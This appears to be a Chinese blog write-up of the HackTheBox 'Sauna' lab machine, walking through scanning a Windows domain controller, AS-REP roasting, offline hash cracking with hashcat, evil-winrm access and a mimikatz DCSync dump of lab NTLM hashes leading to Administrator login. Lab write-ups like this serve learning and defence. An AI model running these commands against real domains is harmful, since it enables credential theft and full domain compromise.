前言
纠结了好久,终于下定决心买htb的会员学内网了(100r每个月心痛死我了)😢😢😢,做了一个最简单的靶机试试水,发现确实不错。故记录下做的时候踩的一些坑以及遇到的知识点。
过程
因为HTB靶场打开后是内网ip,所以需要使用openvpn连接vpn。这里有个坑点就是使用图形化openvpn连接的时候会连接不上,只能在终端上使用openvpn命令进行连接。当连接了过后打开的界面就是这样的
然后进行端口扫描,我使用的是masscan+nmap组合。这里也有个坑点,当使用masscan进行端口探测的时候,你需要指定流量走哪一个网卡,否则masscan不会走openvpn代理导致无法扫出端口信息。最后使用的命令如下
command = 'sudo {} -iL {} -e utun3 -p 1-65535 -oJ {} --rate {}'.format(masscan_exe, ip_file, masscan_file, masscan_rate)
扫描出来的端口信息如下
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 14:27 CST
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.10.175, 16) => Protocol wrong type for socket
Offending packet: TCP 10.10.16.3:54110 > 10.10.10.175:53 S ttl=38 id=14627 iplen=11264 seq=4204455003 win=1024 <mss 1460>
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.10.175, 16) => Protocol wrong type for socket
Offending packet: TCP 10.10.16.3:54112 > 10.10.10.175:53 S ttl=59 id=63861 iplen=11264 seq=4204323929 win=1024 <mss 1460>
Nmap scan report for 10.10.10.175
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
53/tcp filtered domain
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-10 13:27:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.81 seconds
通过相关端口信息,我们可以发现这台机子就是一台域控
相关知识
可以看到上面有许多和Windows域相关的知识,我们先提前了解一下
LDAP
LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个协议。了解Java的师傅应该都知道,在利用jndi进行反序列化的时候就会利用到ldap协议。
目录服务数据库也是一种数据库,这种数据库相对于我们熟知的关系型数据库(比如MySQL,Oracle),主要有以下几个方面的特点。
它成树状结构组织数据,类似文件目录一样。
它是为查询、浏览和搜索而优化的数据库,也就是说LDAP的读性能特别强,但是写性能差,而且还不支持事务处理、回滚等复杂功能。
如图
这就是一种目录服务数据库,它成树状结构组织数据。它的基本概念如下:
1.目录树:如上图所示,在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
2.条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。比如图中的每个圆圈都是一条记录。
3.DN,RDN:比如说第一个叶子条目,他有一个唯一可区分的名称DN:uid=bob,ou=people,dc=acme,dc=org
。类似于文件目录的相对路径绝对路径,他除了有个DN之外,还有个RDN,他与目录结构无关,比如之前咱们提过的uid=bob,ou=people,dc=acme,dc=org
,他的RDN就是uid=bob
4.属性:描述条目具体信息。比如`uid=bill,ou=people,dc=acme,dc=org
,他有属性name 为bill,属性age为11,属性school 为xx。
在Windows域中Active Directory,就是微软的对目录服务数据库的实现。而LDAP是设计用来对目录服务数据库(在这里的实现就是微软的Active Directory)的访问的协议。Active Directory存储着整个域内所有的计算机,用户等的所有信息。
ldap默认开放端口就是389,在域中其默认开放的不安全端口就是3268
SMB
SMB(Server Message Block)被称为服务器消息块,又叫网络文件共享系统(CIFS)。在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。主要作用是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
CIFS消息一般使用NetBIOS或TCP协议发送,分别使用不同的端口139或445,当前倾向于使用445端口。
- 直接运行在 TCP 上 port 445
- 通过使用 NetBIOS API
- 基于 UDP ports 137, 138 & TCP ports 137, 139
- 基于一些传统协议,例如 NBF
利用
对于ldap服务,其存在一个匿名绑定功能,通过这个功能可以不通过身份认证查询用户、组和计算机信息。我们可以尝试着试试看能否利用成功。这里使用了windapsearch这个工具。
可以发现虽然成功运行了但是并没有什么东西
对于smb服务同样存在匿名登陆,我们可以使用smbclient这个工具进行利用
可以发现仍然没有什么东西
接着我们查看web界面,找到了一个about.html
通过这些人名,我们可以生成一个字典,通过这个字典进行攻击。生成字典我们可以使用username-anarchy这个工具
通过字典,我们可以查看是否有用户不需要经过Kerberos预身份验证。如果存在那么我们就可以得到其密码hash。
如果不经过Kerberos预身份验证的危害在hacktricks里的解释:
That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
这里使用GetNPUsers.py
尝试向kerberos请求不需要预认证的票据
得到对应用户名的密码hash,然后再使用hashcat进行解密
hashcat -m 18200 hash.txt -o pass.txt /usr/share/wordlists/rockyou.txt --force
成功解密
有了账户和密码过后我们就可以通过工具连上该机器,这里使用evil-winrm这个工具
成功连接,user用户的flag在桌面上。
接下来我们可以使用WinPEAS程序查看机器的信息,看能否找到有用的东西
通过执行命令发现了另一个用户
*Evil-WinRM* PS C:\Users\FSmith\Documents> upload winPEASany.exe
然后我们使用查到的身份登陆靶机,查看其信息
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> net users svc_loanmgr
User name svc_loanmgr
Full Name L Manager
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/24/2020 4:48:31 PM
Password expires Never
Password changeable 1/25/2020 4:48:31 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Remote Management Users
Global Group memberships *Domain Users
The command completed successfully.
发现其是Remote Management Users组
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> net localgroup "Remote Management Users"
Alias name Remote Management Users
Comment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members
-------------------------------------------------------------------------------
FSmith
svc_loanmgr
The command completed successfully.
我们可以通过DCSync进行攻击
关于DCSync
,hacktricks上是这样解释的:
DCSync攻击模拟域控制器的行为,并要求其他域控制器使用目录复制服务远程协议 (MS-DRSR)复制信息。由于 MS-DRSR 是 Active Directory 的一项有效且必要的功能,因此无法将其关闭或禁用。
默认情况下,只有域管理员、企业管理员、管理员和域控制器组拥有所需的权限。
如果任何帐户密码以可逆加密方式存储,Mimikatz 中提供了一个选项以明文形式返回密码
默认有权限执行DCSync的用户组是:Domain Admins, Enterprise Admins, Administrators, and Domain Controllers
我们使用mimikatz进行攻击
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> ./mimikatz.exe privilege::debug "lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /all /csv" exit
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
mimikatz(commandline) # lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /all /csv
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server
[DC] Exporting domain 'EGOTISTICAL-BANK.LOCAL'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt 4a8899428cad97676ff802229e466e2c 514
1103 HSmith 58a52d36c84fb7f5f1beab9a201db1dd 66048
1000 SAUNA$ 116ca28933fb4ab8f3543837070bd77b 532480
500 Administrator 823452073d75b9d1cf70ebdf86c7f98e 66048
1105 FSmith 58a52d36c84fb7f5f1beab9a201db1dd 4260352
1108 svc_loanmgr 9cb31797c39a9b170b04058ba2bba48c 66048
得到Administrator的哈希密码,然后通过这个密码用Administrator身份进行登陆
成功拿下该域控机子
总结
回过头来发现,这个靶机其实并不算难,挺简单的。算是对内网相关知识有一定的了解。官方wp也写挺好的,写的很细致通俗易懂。